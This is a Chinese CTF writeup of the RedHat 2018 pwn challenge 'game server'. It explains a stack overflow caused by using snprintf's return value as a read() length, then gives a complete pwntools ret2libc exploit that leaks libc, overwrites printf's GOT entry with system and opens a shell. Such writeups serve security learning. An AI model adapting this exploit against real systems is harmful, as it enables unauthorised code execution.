redhat2018—writeup

刷题刷题,考试暂告一段落。这篇博客主要记录redhat2018中的pwn题和reverse题的分析过程。reverse还没有训练,后期再补。

Pwn

game server

0x00 file&checksec

1
2
3
4
5
6
7
8
9
$ file game_server
game_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2edc9b459a64a0a5d698157da465036f722679e, stripped
$ checksec game_server
[*] '/home/.../pwn/redhat2018/game_server/game_server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

通过file命令可以看到这是一个32bit的ELF,动态链接,并且去除了符号表。通过checksec命令可以看到程序开启了NX,所以一般需要用到ret2libc.

0x01 IDA分析程序逻辑

1
2
3
4
5
6
7
8
9
int __cdecl main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
sub_8048637();
puts("Now you can start you game in middle earth");
return 0;
}

可以看到主函数里面只有一个自定义函数,逻辑一定在这里面了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int sub_8048637()
{
char s; // [sp+7h] [bp-111h]@5
char v2; // [sp+107h] [bp-11h]@5
size_t nbytes; // [sp+108h] [bp-10h]@5
char *len; // [sp+10Ch] [bp-Ch]@1

puts("Welcome to my game server");
puts("First, you need to tell me you name?");
fgets(name_buf, 256, stdin);
len = strrchr(name_buf, '\n');
if ( len )
*len = 0;
printf("Hello %s\n", name_buf);
puts("What's you occupation?");
fgets(occupation_buf, 256, stdin);
len = strrchr(occupation_buf, '\n');
if ( len )
*len = 0;
printf("Well, my noble %s\n", occupation_buf);
nbytes = snprintf(
&s,
256u,
"Our %s is a noble %s. He is come from north and well change out would.",
name_buf,
occupation_buf);
puts("Here is you introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself?[Y/N]");
v2 = getchar();
getchar();
if ( v2 == 'Y' ) // Y
read(0, &s, nbytes); // 存在溢出
return printf("name : %s\noccupation : %s\nintroduce : %s\n", name_buf, occupation_buf, &s);
}

我们可以看到,首先需要我们输入nameoccupation信息,再往后看,可以看到snprintf()函数,这是一个需要注意的点。先来看一下snprintf()函数的原型

1
2
3
4
5
6
7
8
9
10
11
12
****************************snprintf()原型*******************************
1. *str 这是存放结果字符串的字符数组指针
2. size (1)如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给
其后添加一个字符串结束符('\0');
2)如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到
str中,并给其后添加一个字符串结束符('\0'),返回值为欲写入的字符串长度。
3. *format 格式化字符串
4. ... 参数的个数是不确定的
5. 返回值 若成功则返回预写入的字符串长度,若出错则返回负值。
6. 头文件 #include <stdio.h>
*************************************************************************
int snprintf(char *str, size_t size, const char *format, ...)

可以看到,此程序是将输入的nameoccupation复制到字符数组s中,但是返回值nbytes得到的是实际输入的两个字符串长度和格式化字符串之和。后面又用到了read()函数,显然在这里存在栈溢出,可以控制程序运行流程。还可以看到s数组的起始地址是bp-111h,所以输入(bp-111h)+4个字节数据就可以覆盖到返回地址。这里我们用puts()函数泄露出puts()的真实地址,通过计算偏移,算出system的地址。/bin/sh的地址可以用read()读入bss段,也可以直接利用libc中的。我这里使用的是将system地址覆盖到printfGot表,并用read()/bin/sh读入bss段。显然有些麻烦,直接转到算出的system地址和/bin/sh地址比较方便,代码也少。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
# -*- coding:utf-8 -*-
#GOT table cover
from pwn import *

context.log_level = 'debug'

if args['REMOTE']:
Io = remote('127.0.0.1',10000)
libc = ELF('libc6-i386_2.23-0ubuntu10_amd64.so')
else:
Io = process('./game_server')
libc = ELF('libc6_2.23-0ubuntu10_i386.so')

elf = ELF('./game_server')

puts_plt = elf.plt['puts']
print "puts_plt = " + hex(puts_plt)
puts_got = elf.got['puts']
print "puts_got = " + hex(puts_got)
read_plt = elf.plt['read']
print "read_plt = " + hex(read_plt)
printf_got = elf.got['printf']
print "printf_got = " + hex(printf_got)
printf_plt = elf.plt['printf']
print "printf_plt = " + hex(printf_plt)
bss_base = elf.bss()
print "bss_base = " + hex(bss_base)

p_ebp_ret = 0x0804881b# : pop ebp ; ret
ppp_ret = 0x08048819# : pop esi ; pop edi ; pop ebp ; ret
ret = 0xdeadbeef

#libc
puts_offset = libc.symbols['puts']
print "puts_offset = " + hex(puts_offset)
system_offset = libc.symbols['system']
print "system_offset = " + hex(system_offset)

payload1 = 'a'*0xfc
Io.recvuntil('First, you need to tell me you name?\n')
Io.sendline(payload1)

payload2 = 'b'*0xfc
Io.recvuntil('What\'s you occupation?\n')
Io.sendline(payload2)

payload3 = 'Y'
Io.recvuntil('Do you want to edit you introduce by yourself?[Y/N]\n')
Io.sendline(payload3)

payload4 = 'a'*0x111 + 'b'*4
payload4 += p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(printf_got) + p32(4)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss_base) + p32(8)
payload4 += p32(printf_plt) + p32(ret) + p32(bss_base)

Io.sendline(payload4)
Io.recvuntil('\n')
Io.recvuntil('\n')
Io.recvuntil('\n')
sleep(0.5)

puts_addr = u32(Io.recv(4))
print "puts_addr = " + hex(puts_addr)
libc_base = puts_addr - puts_offset
print "libc_base = " + hex(libc_base)
system_addr = libc_base + system_offset
print "system_addr = " + hex(system_addr)

Io.send(p32(system_addr))
Io.send('/bin/sh\x00')
Io.interactive()

Reverse

文章目录
  1. Pwn
    1. game server
      1. 0x00 file&checksec
      2. 0x01 IDA分析程序逻辑
      3. exp
  2. Reverse